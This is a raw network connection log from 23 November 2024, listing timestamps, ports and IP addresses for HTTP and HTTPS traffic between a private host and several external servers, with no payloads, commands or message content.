Nov 23, 2024 20:23:38.870603085 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.870614052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871351004 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871402979 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871413946 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871483088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871491909 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871504068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871515989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.871613979 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872278929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872298956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872309923 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872404099 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872414112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872423887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872435093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.872483969 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873209953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873259068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873270035 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873330116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873339891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873349905 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873361111 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.873377085 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.874253035 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.874264002 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.878274918 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.878900051 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.878927946 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.878956079 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.878978014 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.878999949 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.906289101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906367064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906383991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906456947 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906476021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906487942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906502008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906656027 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906723976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906735897 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906774044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906785965 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906796932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.906807899 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907433033 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907504082 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907571077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907658100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907670975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907682896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907749891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.907764912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908200979 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908252001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908262014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908273935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908332109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908343077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908353090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.908396006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.909161091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.909207106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.909216881 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.909249067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.909259081 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.909341097 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.916079998 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.916882038 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.916915894 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.916945934 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.917083025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.917138100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.917150021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.917157888 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.917176962 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.917197943 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.917273998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.917284966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.917294979 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.917305946 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.917406082 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:39.034246922 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:39.034311056 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:39.036715031 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.036770105 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.036782026 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.036847115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.036863089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.036875010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.036884069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.036895037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.037273884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.037347078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.037359953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.037431002 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.037440062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.037448883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.038824081 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:39.041932106 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:39.041960955 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:39.042000055 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:39.042181969 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:39.042675972 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:39.042720079 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:39.042754889 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:39.042772055 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:39.046080112 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:39.046127081 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:39.046260118 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:39.046700954 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:39.046730995 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:39.060671091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.060692072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.060702085 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:39.061098099 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:39.242583990 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:39.242671013 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:39.242800951 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:39.243887901 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:39.243918896 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:39.641268969 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:39.641339064 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:39.650006056 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:39.652673006 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:39.652709961 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.313924074 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.336663961 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.349662066 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.349709988 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.350110054 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.350130081 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.355185986 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.355195999 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.355609894 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.355616093 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.649298906 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:40.649565935 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:40.740288019 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:40.740329027 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:40.740684986 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:40.748927116 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.749382973 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.756520987 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.756550074 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.756947994 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.756953955 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.757164955 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.757227898 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.757519960 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.757534027 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.761174917 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.761245966 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.762295961 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.765070915 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.768122911 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.768122911 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.768161058 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.768187046 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.779380083 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.782437086 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.790627003 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.790863991 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.790863991 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.790880919 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.790889978 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.806881905 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.806920052 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.807780027 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.807806969 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.810833931 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.810897112 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.811075926 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.811093092 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.818299055 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:40.819026947 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.819040060 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.849997044 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.850250006 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.851241112 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:40.852256060 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:40.852268934 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.859344006 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:40.894911051 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.895606995 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.895657063 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.896013021 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:40.896024942 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:40.933360100 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.933396101 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.933458090 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:40.935007095 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:40.935036898 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.936467886 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:40.939287901 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:40.939502001 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:40.939553022 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:41.202321053 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.202409029 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.202563047 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.203620911 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.204942942 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.204957962 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.204967976 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.204972982 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.207866907 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.207889080 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.208040953 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.208249092 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.208259106 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.208265066 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.219232082 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.219350100 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.219351053 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.219396114 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.219424009 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.222031116 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.222038984 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.222234011 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.222899914 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.222908974 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.247930050 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:41.247981071 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:41.250482082 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:41.251033068 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:41.251045942 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:41.251071930 CET	49851	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:41.251077890 CET	443	49851	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:41.308744907 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:41.308819056 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:41.319871902 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:41.320152044 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:41.320183992 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:41.348865986 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.351969957 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.359337091 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.366393089 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.367196083 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.367196083 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.367218018 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.367239952 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.370193958 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.370207071 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.370275974 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.370379925 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:41.370392084 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:41.387907982 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:41.387948036 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:41.388084888 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:41.388381004 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:41.388411045 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:41.793071985 CET	49822	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:41.793390036 CET	49860	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:41.856168032 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:41.856400967 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:41.856419086 CET	443	49852	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:41.856611967 CET	49852	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:41.914089918 CET	80	49860	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:41.914169073 CET	49860	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:41.914333105 CET	49860	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:41.914412975 CET	80	49822	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:41.914469957 CET	49822	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:42.038110018 CET	80	49860	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:42.616832018 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:42.618376970 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:42.618392944 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:42.618860960 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:42.618866920 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:42.632981062 CET	49861	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:42.669171095 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:42.669914007 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:42.669926882 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:42.670417070 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:42.670423031 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:42.687875032 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:42.687891960 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:42.687975883 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:42.690932035 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:42.690958977 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:42.691490889 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:42.694025040 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:42.710226059 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:42.719326973 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:42.723706961 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:42.725002050 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:42.725019932 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:42.725265026 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:42.727358103 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:42.727358103 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:42.727436066 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:42.735378027 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:42.752769947 CET	80	49861	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:42.752887964 CET	49861	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:42.753042936 CET	49861	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:42.873919964 CET	80	49861	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:43.034154892 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.035703897 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.035731077 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.036171913 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.036178112 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.060229063 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.063888073 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.065289974 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.065953016 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.065968037 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.065984964 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.065990925 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.066164017 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.097115993 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.097140074 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.097600937 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.097605944 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.115601063 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.120477915 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.128777981 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.152676105 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.195624113 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:43.195799112 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:43.209199905 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.213551044 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:43.276103020 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.276134014 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.276145935 CET	49853	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.276150942 CET	443	49853	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.278019905 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.278026104 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.278455019 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.278460026 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.291527033 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.291558027 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.293247938 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.293278933 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.293304920 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.293365002 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:43.293365002 CET	49857	443	192.168.2.4	2.23.161.164
Nov 23, 2024 20:23:43.293370962 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.293421984 CET	443	49857	2.23.161.164	192.168.2.4
